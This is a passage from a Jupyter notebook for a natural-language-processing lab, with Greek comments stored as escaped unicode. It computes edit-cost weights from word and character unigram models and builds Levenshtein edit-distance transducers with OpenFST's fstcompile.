\u03ba\u03cc\u03c3\u03c4\u03bf\u03c2. \u0388\u03c7\u03bf\u03c5\u03bc\u03b5: \n#  - __\u03b5\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ad\u03c2 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03c9\u03bd__ \n#  - __\u03b4\u03b9\u03b1\u03b3\u03c1\u03b1\u03c6\u03ad\u03c2 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03c9\u03bd__\n#  - __\u03b1\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03c9\u03bd__\n\n# __\u03b1)__ \u03a3\u03c4\u03bf \u03b2\u03ae\u03bc\u03b1 \u03b1\u03c5\u03c4\u03cc \u03b8\u03b1 \u03c5\u03c0\u03bf\u03bb\u03bf\u03b3\u03af\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b7\u03bd \u03bc\u03ad\u03c3\u03b7 \u03c4\u03b9\u03bc\u03ae \u03c4\u03c9\u03bd \u03b2\u03b1\u03c1\u03ce\u03bd \u03c4\u03bf\u03c5 word level \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf\u03c5 \u03c0\u03bf\u03c5 \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ac\u03c3\u03b1\u03bc\u03b5 \u03c3\u03c4\u03bf \u03b2\u03ae\u03bc\u03b1 10\u03b1, \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03b8\u03b1 \u03b1\u03c0\u03bf\u03c4\u03b5\u03bb\u03b5\u03af \u03c4\u03bf \u03ba\u03cc\u03c3\u03c4\u03bf\u03c2 w \u03c4\u03c9\u03bd edits. \u03a3\u03c5\u03b3\u03ba\u03b5\u03ba\u03c1\u03b9\u03bc\u03ad\u03bd\u03b1, \u03b1\u03c6\u03bf\u03cd \u03ad\u03c7\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b7\u03bd \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03b5\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7\u03c2 \u03ba\u03ac\u03b8\u03b5 \u03bb\u03ad\u03be\u03b7\u03c2, \u03c4\u03bf \u03b2\u03ac\u03c1\u03bf\u03c2 \u03c4\u03b7\u03c2 \u03bf\u03c1\u03af\u03b6\u03b5\u03c4\u03b1\u03b9 \u03c9\u03c2 \u03bf \u03b1\u03c1\u03bd\u03b7\u03c4\u03b9\u03ba\u03cc\u03c2 \u03bb\u03bf\u03b3\u03ac\u03c1\u03b9\u03b8\u03bc\u03bf\u03c2 \u03c4\u03b7\u03c2 \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1\u03c2 \u03b5\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03ae\u03c2 \u03c4\u03b7\u03c2, \u03b4\u03b7\u03bb\u03b1\u03b4\u03ae __w = -log(P)__. \u03a5\u03c0\u03bf\u03bb\u03bf\u03b3\u03af\u03b6\u03bf\u03bd\u03c4\u03b1\u03c2, \u03bb\u03bf\u03b9\u03c0\u03cc\u03bd, \u03c4\u03bf \u03b2\u03ac\u03c1\u03bf\u03c2 \u03ba\u03ac\u03b8\u03b5 \u03bb\u03ad\u03be\u03b7\u03c2 \u03ba\u03b1\u03b9 \u03c0\u03b1\u03af\u03c1\u03bd\u03bf\u03bd\u03c4\u03b1\u03c2 \u03c4\u03b7\u03bd \u03bc\u03ad\u03c3\u03b7 \u03c4\u03b9\u03bc\u03ae \u03cc\u03bb\u03c9\u03bd \u03c4\u03c9\u03bd \u03b2\u03b1\u03c1\u03ce\u03bd \u03ad\u03c7\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03ba\u03cc\u03c3\u03c4\u03bf\u03c2 w, \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03b5\u03c0\u03b5\u03b9\u03b4\u03ae \u03c0\u03c1\u03bf\u03ba\u03cd\u03c0\u03c4\u03b5\u03b9 \u03b1\u03c0\u03cc \u03c4\u03bf token level \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03c4\u03bf \u03bf\u03bd\u03bf\u03bc\u03ac\u03b6\u03bf\u03c5\u03bc\u03b5 __w_token__.\n\n# In[11]:\n\n\nfrom math import log10\n\n# Calculate weight of each word.\ntoken_weights = {k:(-log10(v)) for k,v in dict_token.items()}\n# Get the mean value of weigths.\nw_token = sum(token_weights.values()) / len(token_weights.values())\n\n\n# __\u03b2)__ \u03a3\u03c4\u03bf \u03b2\u03ae\u03bc\u03b1 \u03b1\u03c5\u03c4\u03cc \u03b8\u03b1 \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ac\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf\u03bd \u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03bf\u03c0\u03ad\u03b1 \u03bc\u03b1\u03c2 \u03bc\u03b5 \u03bc\u03af\u03b1 \u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03c0\u03bf\u03c5 \u03c5\u03bb\u03bf\u03c0\u03bf\u03b9\u03b5\u03af \u03c4\u03b7\u03bd \u03b1\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 Levenshtein \u03b1\u03bd\u03c4\u03b9\u03c3\u03c4\u03bf\u03b9\u03c7\u03af\u03b6\u03bf\u03bd\u03c4\u03b1\u03c2:\n# - K\u03ac\u03b8\u03b5 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1 \u03c3\u03c4\u03bf\u03bd \u03b5\u03b1\u03c5\u03c4\u03cc \u03c4\u03bf\u03c5 \u03bc\u03b5 \u03b2\u03ac\u03c1\u03bf\u03c2 0 __(no edit)__.\n# - K\u03ac\u03b8\u03b5 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1 \u03c3\u03c4\u03bf <epsilon\\> (\u03b5) \u03bc\u03b5 \u03b2\u03ac\u03c1\u03bf\u03c2 w __(deletion)__.\n# - T\u03bf <epsilon\\> \u03c3\u03b5 \u03ba\u03ac\u03b8\u03b5 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1 \u03bc\u03b5 \u03b2\u03ac\u03c1\u03bf\u03c2 w __(insertion)__.\n# - K\u03ac\u03b8\u03b5 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1 \u03c3\u03b5 \u03ba\u03ac\u03b8\u03b5 \u03ac\u03bb\u03bb\u03bf \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1 \u03bc\u03b5 \u03b2\u03ac\u03c1\u03bf\u03c2 w __(substitution)__.\n\n# \u038c\u03c0\u03c9\u03c2 \u03ba\u03b1\u03b9 \u03c3\u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae \u03b8\u03b1 \u03bf\u03c1\u03af\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b7\u03bd \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 format_arc \u03b7 \u03bf\u03c0\u03bf\u03af\u03b1 \u03b4\u03b9\u03b1\u03bc\u03bf\u03c1\u03c6\u03ce\u03bd\u03b5\u03b9 \u03bc\u03af\u03b1 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae \u03c4\u03bf\u03c5 \u03b1\u03c1\u03c7\u03b5\u03af\u03bf\u03c5 \u03c0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae\u03c2 \u03c4\u03bf\u03c5 \u03ba\u03ac\u03b8\u03b5 FST. \u03a3\u03c5\u03b3\u03ba\u03b5\u03ba\u03c1\u03b9\u03bc\u03ad\u03bd\u03b1 \u03b4\u03ad\u03c7\u03b5\u03c4\u03b1\u03b9 \u03c9\u03c2 \u03cc\u03c1\u03b9\u03c3\u03bc\u03b1 \u03c4\u03b1 __src__, __dest__, __ilabel__, __olabel__ \u03ba\u03b1\u03b9 \u03c4\u03bf __weight__ (\u03bc\u03b5 default \u03c4\u03b9\u03bc\u03ae \u03c4\u03bf 0) \u03ba\u03b1\u03b9 \u03c4\u03b1 \u03b5\u03c0\u03b9\u03c3\u03c4\u03c1\u03ad\u03c6\u03b5\u03b9 \u03c3\u03c4\u03b7\u03bd \u03ba\u03b1\u03c4\u03ac\u03bb\u03bb\u03b7\u03bb\u03b7 \u03bc\u03bf\u03c1\u03c6\u03ae \u03cc\u03c0\u03c9\u03c2 \u03b1\u03bd\u03b1\u03c6\u03ad\u03c1\u03b5\u03c4\u03b1\u03b9 \u03ba\u03b1\u03b9 \u03b5\u03b4\u03ce http://www.openfst.org/twiki/bin/view/FST/FstQuickTour#CreatingFsts/.\n\n# In[12]:\n\n\ndef format_arc(src, dest, ilabel, olabel, weight=0):\n    return (str(src) + \" \" + str(dest) + \" \" + str(ilabel) + \" \" + str(olabel) + \" \" + str(weight))\n\n\n# \u0391\u03ba\u03cc\u03bc\u03b7, \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd \u03c3\u03c4\u03b9\u03b3\u03bc\u03ae \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ac\u03c3\u03bf\u03c5\u03bc\u03b5 \u03bf\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03b1 FSTs \u03b8\u03b1 \u03c7\u03c1\u03b5\u03b9\u03b1\u03c3\u03c4\u03bf\u03cd\u03bc\u03b5 \u03ad\u03bd\u03b1 \u03b1\u03c1\u03c7\u03b5\u03af\u03bf __chars.syms__ \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03b8\u03b1 \u03b1\u03bd\u03c4\u03b9\u03c3\u03c4\u03bf\u03b9\u03c7\u03af\u03b6\u03b5\u03b9 \u03ba\u03ac\u03b8\u03b5 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1 \u03c4\u03bf\u03c5 \u03b1\u03bb\u03c6\u03b1\u03b2\u03ae\u03c4\u03bf\u03c5 \u03bc\u03b5 \u03ad\u03bd\u03b1\u03bd \u03b1\u03cd\u03be\u03bf\u03bd\u03c4\u03b1 \u03b1\u03ba\u03ad\u03c1\u03b1\u03b9\u03bf \u03b1\u03c1\u03b9\u03b8\u03bc\u03cc. \u0397 \u03b4\u03b9\u03b1\u03b4\u03b9\u03ba\u03b1\u03c3\u03af\u03b1 \u03b1\u03c5\u03c4\u03ae \u03ad\u03b3\u03b9\u03bd\u03b5 \u03c3\u03c4\u03bf \u03b2\u03ae\u03bc\u03b1 4 \u03c4\u03b7\u03c2 \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae\u03c2 \u03ba\u03b1\u03b9 \u03c0\u03b5\u03c1\u03b9\u03bb\u03b1\u03bc\u03b2\u03ac\u03bd\u03b5\u03b9 \u03c4\u03b7\u03bd \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 alphabet_to_int \u03cc\u03c0\u03c9\u03c2 \u03b2\u03bb\u03ad\u03c0\u03bf\u03c5\u03bc\u03b5 \u03ba\u03b1\u03b9 \u03c0\u03b1\u03c1\u03b1\u03ba\u03ac\u03c4\u03c9:\n\n# In[13]:\n\n\ndef alphabet_to_int(alphabet):\n    # Open file\n    f = open(\"chars.syms\", \"w\")\n    # Match epsilon to 0\n    f.write(\"EPS\" + 7*\" \" + str(0) + '\\n')\n    num = 21\n    for character in alphabet:\n        # Match every other character to an increasing index\n        f.write(character + 7*\" \" + str(num) + '\\n')\n        num += 1\n    f.close()\n\n\n# In[14]:\n\n\nalphabet_to_int(get_alphabet(get_tokens(\"War.txt\")))\n\n\n# \u03a3\u03c4\u03b7 \u03c3\u03c5\u03bd\u03ad\u03c7\u03b5\u03b9\u03b1, \u03b4\u03b9\u03b1\u03bc\u03bf\u03c1\u03c6\u03ce\u03bd\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03b1\u03c1\u03c7\u03b5\u03af\u03bf \u03c0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae\u03c2 \u03c4\u03bf\u03c5 \u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03bf\u03c0\u03b5\u03ac \u03bc\u03b1\u03c2 \u03c3\u03cd\u03bc\u03c6\u03c9\u03bd\u03b1 \u03bc\u03b5 \u03c4\u03b9\u03c2 \u03c0\u03b1\u03c1\u03b1\u03c0\u03ac\u03bd\u03c9 \u03b1\u03bd\u03c4\u03b9\u03c3\u03c4\u03bf\u03b9\u03c7\u03af\u03c3\u03b5\u03b9\u03c2. \u03a4\u03bf \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1 \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03cd\u03b5\u03c4\u03b1\u03b9 \u03c3\u03c4\u03bf \u03b1\u03c1\u03c7\u03b5\u03af\u03bf __transducer_token.fst__ (\u03c3\u03c5\u03bc\u03b2\u03bf\u03bb\u03af\u03b6\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf (\u03b5) \u03bc\u03b5 \"EPS\").\n\n# In[15]:\n\n\n# Get alphabet of the corpus\nalphabet = get_alphabet(get_tokens(\"War.txt\"))\n# Open file to write mode\nf = open(\"transducer_token.fst\", \"w\")\nfor letter in alphabet:\n    # no edit\n    f.write(format_arc(0, 0, letter, letter) + \"\\n\")\n    # deletion\n    f.write(format_arc(0, 0, letter, \"EPS\", w_token) + \"\\n\")\n    # insertion\n    f.write(format_arc(0, 0, \"EPS\", letter, w_token) + \"\\n\")\nfor i in range(len(alphabet)):\n    for j in range(len(alphabet)):\n        if i != j:\n            # substitution\n            f.write(format_arc(0, 0, alphabet[i], alphabet[j], w_token) + \"\\n\")\n\n# Make initial state also final state\nf.write(\"0\")\n# Close file\nf.close()\n\n\n# \u0391\u03bd\u03c4\u03af\u03c3\u03c4\u03bf\u03b9\u03c7\u03b1 \u03bc\u03b5 \u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae \u03c4\u03c1\u03ad\u03c7\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03c0\u03b1\u03c1\u03b1\u03ba\u03ac\u03c4\u03c9 shell command \u03c0\u03bf\u03c5 \u03ba\u03ac\u03bd\u03b5\u03b9 compile \u03c4\u03bf\u03bd \u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03bf\u03c0\u03ad\u03b1 \u03bc\u03b1\u03c2. \u03a4\u03bf binary \u03b1\u03c1\u03c7\u03b5\u03af\u03bf \u03c0\u03bf\u03c5 \u03c0\u03c1\u03bf\u03ba\u03cd\u03c0\u03c4\u03b5\u03b9 \u03bc\u03b5 \u03cc\u03bd\u03bf\u03bc\u03b1 __transducer_token.fst__ \u03b5\u03af\u03bd\u03b1\u03b9 \u03b1\u03c5\u03c4\u03cc \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c3\u03c4\u03b9\u03c2 \u03b5\u03c0\u03cc\u03bc\u03b5\u03bd\u03b5\u03c2 \u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b5\u03c2.\n\n# In[16]:\n\n\nget_ipython().system(' fstcompile --isymbols=chars.syms --osymbols=chars.syms transducer_token.fst transducer_token.fst')\n\n\n# __\u03b3)__ \u03a4\u03ce\u03c1\u03b1 \u03b8\u03b1 \u03b5\u03c0\u03b1\u03bd\u03b1\u03bb\u03ac\u03b2\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b7\u03bd \u03af\u03b4\u03b9\u03b1 \u03b4\u03b9\u03b1\u03b4\u03b9\u03ba\u03b1\u03c3\u03af\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ce\u03bd\u03c4\u03b1\u03c2 \u03c4\u03bf unigram \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03cc \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03c4\u03bf\u03c5 \u03b2\u03ae\u03bc\u03b1\u03c4\u03bf\u03c2 10\u03b2. \u0398\u03b1 \u03c5\u03c0\u03bf\u03bb\u03bf\u03b3\u03af\u03c3\u03bf\u03c5\u03bc\u03b5 \u03b1\u03c1\u03c7\u03b9\u03ba\u03ac \u03c4\u03bf \u03bd\u03ad\u03bf \u03ba\u03cc\u03c3\u03c4\u03bf\u03c2 \u03c4\u03c9\u03bd edit \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03b9\u03c3\u03bf\u03cd\u03c4\u03b1\u03b9 \u03bc\u03b5 \u03c4\u03b7 \u03bc\u03ad\u03c3\u03b7 \u03c4\u03b9\u03bc\u03ae \u03c4\u03c9\u03bd \u03b2\u03b1\u03c1\u03ce\u03bd \u03c4\u03bf\u03c5 character level \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf\u03c5 \u03ba\u03b1\u03b9 \u03c3\u03c4\u03b7 \u03c3\u03c5\u03bd\u03ad\u03c7\u03b5\u03b9\u03b1 \u03b8\u03b1 \u03b3\u03c1\u03ac\u03c8\u03bf\u03c5\u03bc\u03b5 \u03c3\u03c4\u03bf \u03b1\u03c1\u03c7\u03b5\u03af\u03bf __transducer_char.fst__ \u03c4\u03b7\u03bd \u03c0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u03c4\u03bf\u03c5 \u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03bf\u03c0\u03ad\u03b1 \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03b5\u03af \u03c4\u03bf \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03b1\u03c5\u03c4\u03cc.\n\n# In[17]:\n\n\n# Calculate weight of each character.\ncharacter_weigths = {k: (-log10(v)) for k,v in dict_character.items()}\n# Get the mean value of weigths.\nw_char = sum(character_weigths.values()) / len(character_weigths.values())\n\n\n# In[18]:\n\n\n# Open file to write mode\nf = open(\"transducer_char.fst\", \"w\")\nfor letter in alphabet:\n    # no edit\n    f.write(format_arc(0, 0, letter, letter) + \"\\n\")\n    # deletion\n    f.write(format_arc(0, 0, letter, \"EPS\", w_char) + \"\\n\")\n    # insertion\n    f.write(format_arc(0, 0, \"EPS\", letter, w_char) + \"\\n\")\nfor i in range(len(alphabet)):\n    for j in range(len(alphabet)):\n        if i != j:\n            # substitution\n            f.write(format_arc(0, 0, alphabet[i], alphabet[j], w_char) + \"\\n\")\n\n# Make initial state also final state\nf.write(\"0\")\n# Close file\nf.close()\n\n\n# In[19]:\n\n\nget_ipython().system(' fstcompile --isymbols=chars.syms --osymbols=chars.syms transducer_char.fst transducer_char.fst')\n\n\n# __\u03b4)__ \u0391\u03c5\u03c4\u03cc\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9 \u03ad\u03bd\u03b1\u03c2 \u03b1\u03c1\u03ba\u03b5\u03c4\u03ac \u03b1\u03c6\u03b5\u03bb\u03ae\u03c2 \u03c4\u03c1\u03cc\u03c0\u03bf\u03c2 \u03b3\u03b9\u03b1 \u03c4\u03bf\u03bd \u03c5\u03c0\u03bf\u03bb\u03bf\u03b3\u03b9\u03c3\u03bc\u03cc \u03c4\u03c9\u03bd \u03b2\u03b1\u03c1\u03ce\u03bd \u03b3\u03b9\u03b1 \u03ba\u03ac\u03b8\u03b5 edit. \u0391\u03bd \u03c4\u03ce\u03c1\u03b1 \u03b5\u03af\u03c7\u03b1\u03bc\u03b5 \u03c3\u03c4\u03b7 \u03b4\u03b9\u03ac\u03b8\u03b5\u03c3\u03b7 \u03bc\u03b1\u03c2 \u03cc,\u03c4\u03b9 \u03b4\u03b5\u03b4\u03bf\u03bc\u03ad\u03bd\u03b1 \u03b8\u03ad\u03bb\u03bf\u03c5\u03bc\u03b5 \u03b1\u03c5\u03c4\u03cc \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03ba\u03ac\u03bd\u03b1\u03bc\u03b5 \u03b5\u03af\u03bd\u03b1\u03b9 \u03cc\u03c4\u03b9 \u03b8\u03b1 \u03c5\u03c0\u03bf\u03bb\u03bf\u03b3\u03af\u03b6\u03b1\u03bc\u03b5 \u03c4\u03b1 \u03b2\u03ac\u03c1\u03b7 \u03bc\u03b5 \u03b2\u03ac\u03c3\u03b7 \u03c4\u03bf \u03c0\u03cc\u03c3\u03bf \u03c3\u03c5\u03c7\u03bd\u03ac \u03b3\u03af\u03bd\u03b5\u03c4\u03b1\u03b9 \u03b1\u03c5\u03c4\u03cc \u03c4\u03bf \u03bb\u03ac\u03b8\u03bf\u03c2. \u03a0\u03b9\u03bf \u03c3\u03c5\u03b3\u03ba\u03b5\u03ba\u03c1\u03b9\u03bc\u03ad\u03bd\u03b1, \u03b8\u03b1 \u03c5\u03c0\u03bf\u03bb\u03bf\u03b3\u03af\u03b6\u03b1\u03bc\u03b5 \u03b3\u03b9\u03b1 \u03ba\u03ac\u03b8\u03b5 \u03c3\u03cd\u03bc\u03b2\u03bf\u03bb\u03bf \u03c4\u03bf\u03c5 \u03b1\u03bb\u03c6\u03b1\u03b2\u03ae\u03c4\u03bf\u03c5 \u03c4\u03b7\u03bd \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03ba\u03ac\u03c0\u03bf\u03b9\u03bf\u03c2 \u03bd\u03b1 \u03c4\u03bf \u03b4\u03b9\u03b1\u03b3\u03c1\u03ac\u03c8\u03b5\u03b9, \u03bd\u03b1 \u03c4\u03bf \u03c0\u03c1\u03bf\u03c3\u03b8\u03ad\u03c3\u03b5\u03b9 \u03ae \u03bd\u03b1 \u03c4\u03bf \u03b1\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03b1\u03c3\u03c4\u03ae\u03c3\u03b5\u03b9 \u03bc\u03b5 \u03ba\u03ac\u03c0\u03bf\u03b9\u03bf \u03ac\u03bb\u03bb\u03bf. \u03a3\u03c4\u03b7 \u03c3\u03c5\u03bd\u03ad\u03c7\u03b5\u03b9\u03b1, \u03b8\u03b1 \u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03ad\u03c0\u03b1\u03bc\u03b5 \u03b1\u03c5\u03c4\u03ad\u03c2 \u03c4\u03b9\u03c2 \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03c3\u03b5 \u03ba\u03cc\u03c3\u03c4\u03b7 \u03c0\u03b1\u03af\u03c1\u03bd\u03bf\u03bd\u03c4\u03b1\u03c2 \u03c4\u03bf\u03bd \u03b1\u03c1\u03bd\u03b7\u03c4\u03b9\u03ba\u03cc \u03bb\u03bf\u03b3\u03ac\u03c1\u03b9\u03b8\u03bc\u03bf \u03ba\u03b1\u03b9 \u03b8\u03b1 \u03b5\u03af\u03c7\u03b1\u03bc\u03b5 \u03c4\u03b1 \u03c4\u03b5\u03bb\u03b9\u03ba\u03ac \u03b2\u03ac\u03c1\u03b7 \u03bc\u03b1\u03c2 \u03b3\u03b9\u03b1 \u03ba\u03ac\u03b8\u03b5 \u03c3\u03cd\u03bc\u03b2\u03bf\u03bb\u03bf \u03c3\u03c4\u03bf deletion \u03ba\u03b1\u03b9 \u03c4\u03bf insertion \u03ba\u03b1\u03b9 \u03b3\u03b9\u03b1 \u03ba\u03ac\u03b8\u03b5 \u03b4\u03c5\u03ac\u03b4\u03b1 \u03c3\u03c5\u03bc\u03b2\u03cc\u03bb\u03c9\u03bd \u03c3\u03c4\u03bf substitution. \u039f \u03c5\u03c0\u03bf\u03bb\u03bf\u03b3\u03b9\u03c3\u03bc\u03cc\u03c2 \u03b1\u03c5\u03c4\u03cc\u03c2 \u03bc\u03c0\u03bf\u03c1\u03b5\u03af \u03bd\u03b1 \u03b3\u03af\u03bd\u03b5\u03b9 \u03c3\u03b5 \u03c0\u03b5\u03c1\u03af\u03c0\u03c4\u03c9\u03c3\u03b7 \u03c0\u03bf\u03c5 \u03b5\u03af\u03c7\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03af\u03b4\u03b9\u03bf corpus \u03b1\u03bb\u03bb\u03ac \u03bc\u03b5 \u03bb\u03ac\u03b8\u03b7 \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03bc\u03b5 \u03bd\u03b1 \u03b2\u03c1\u03bf\u03cd\u03bc\u03b5 \u03c0\u03bf\u03bb\u03cd \u03b1\u03c0\u03bb\u03ac \u03c4\u03b9\u03c2 \u03bc\u03b5\u03c4\u03c1\u03b9\u03ba\u03ad\u03c2 \u03c0\u03bf\u03c5 \u03b8\u03ad\u03bb\u03bf\u03c5\u03bc\u03b5.\n\n# ### \u0392\u03ae\u03bc\u03b1 12: \u039a\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03ce\u03bd \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03c9\u03bd\n\n# __\u03b1)__ \u03a3\u03c4\u03bf \u03b2\u03ae\u03bc\u03b1 \u03b1\u03c5\u03c4\u03cc \u03b8\u03b1 \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ac\u03c3\u03bf\u03c5\u03bc\u03b5 \u03ad\u03bd\u03b1\u03bd \u03b1\u03c0\u03bf\u03b4\u03bf\u03c7\u03ad\u03b1 \u03bc\u03b5 \u03bc\u03af\u03b1 \u03b1\u03c1\u03c7\u03b9\u03ba\u03ae \u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03b1\u03c0\u03bf\u03b4\u03ad\u03c7\u03b5\u03c4\u03b1\u03b9 \u03ba\u03ac\u03b8\u03b5 \u03bb\u03ad\u03be\u03b7 \u03c4\u03bf\u03c5 \u03bb\u03b5\u03be\u03b9\u03ba\u03bf\u03cd \u03cc\u03c0\u03c9\u03c2 \u03b1\u03c5\u03c4\u03cc \u03bf\u03c1\u03af\u03c3\u03c4\u03b7\u03ba\u03b5 \u03c3\u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae \u03c4\u03bf\u03c5 \u03b5\u03c1\u03b3\u03b1\u03c3\u03c4\u03b7\u03c1\u03af\u03bf\u03c5 \u03c3\u03c4\u03bf \u03b2\u03ae\u03bc\u03b1 3\u03b1. \u03a4\u03ce\u03c1\u03b1, \u03cc\u03bc\u03c9\u03c2, \u03c9\u03c2 \u03b2\u03ac\u03c1\u03b7 \u03b8\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf\u03bd \u03b1\u03c1\u03bd\u03b7\u03c4\u03b9\u03ba\u03cc \u03bb\u03bf\u03b3\u03ac\u03c1\u03b9\u03b8\u03bc\u03bf \u03c4\u03b7\u03c2 \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1\u03c2 \u03b5\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7\u03c2 \u03ba\u03ac\u03b8\u03b5 \u03bb\u03ad\u03be\u03b7\u03c2 __-logP(w)__. \u03a0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03c4\u03bf \u03ba\u03cc\u03c3\u03c4\u03bf\u03c2 \u03b1\u03c5\u03c4\u03cc \u03bd\u03b1 \u03ba\u03b1\u03c4\u03b1\u03bd\u03b5\u03bc\u03b7\u03b8\u03b5\u03af \u03ba\u03ac\u03c0\u03c9\u03c2 \u03c3\u03c4\u03b7\u03bd \u03bb\u03ad\u03be\u03b7 \u03ad\u03c4\u03c3\u03b9 \u03ce\u03c3\u03c4\u03b5 \u03cc\u03bb\u03b7 \u03b7 \u03bb\u03ad\u03be\u03b7 \u03c3\u03c5\u03bd\u03bf\u03bb\u03b9\u03ba\u03ac \u03bd\u03b1 \u03ad\u03c7\u03b5\u03b9 \u03c4\u03bf \u03c0\u03b1\u03c1\u03b1\u03c0\u03ac\u03bd\u03c9 \u03ba\u03cc\u03c3\u03c4\u03bf\u03c2. \u0393\u03b9\u03b1 \u03bb\u03cc\u03b3\u03bf\u03c5\u03c2 \u03b2\u03b5\u03bb\u03c4\u03b9\u03c3\u03c4\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7\u03c2 \u03ba\u03b1\u03b9 \u03b1\u03c0\u03bb\u03cc\u03c4\u03b7\u03c4\u03b1\u03c2 \u03c0\u03c1\u03bf\u03c6\u03b1\u03bd\u03ce\u03c2 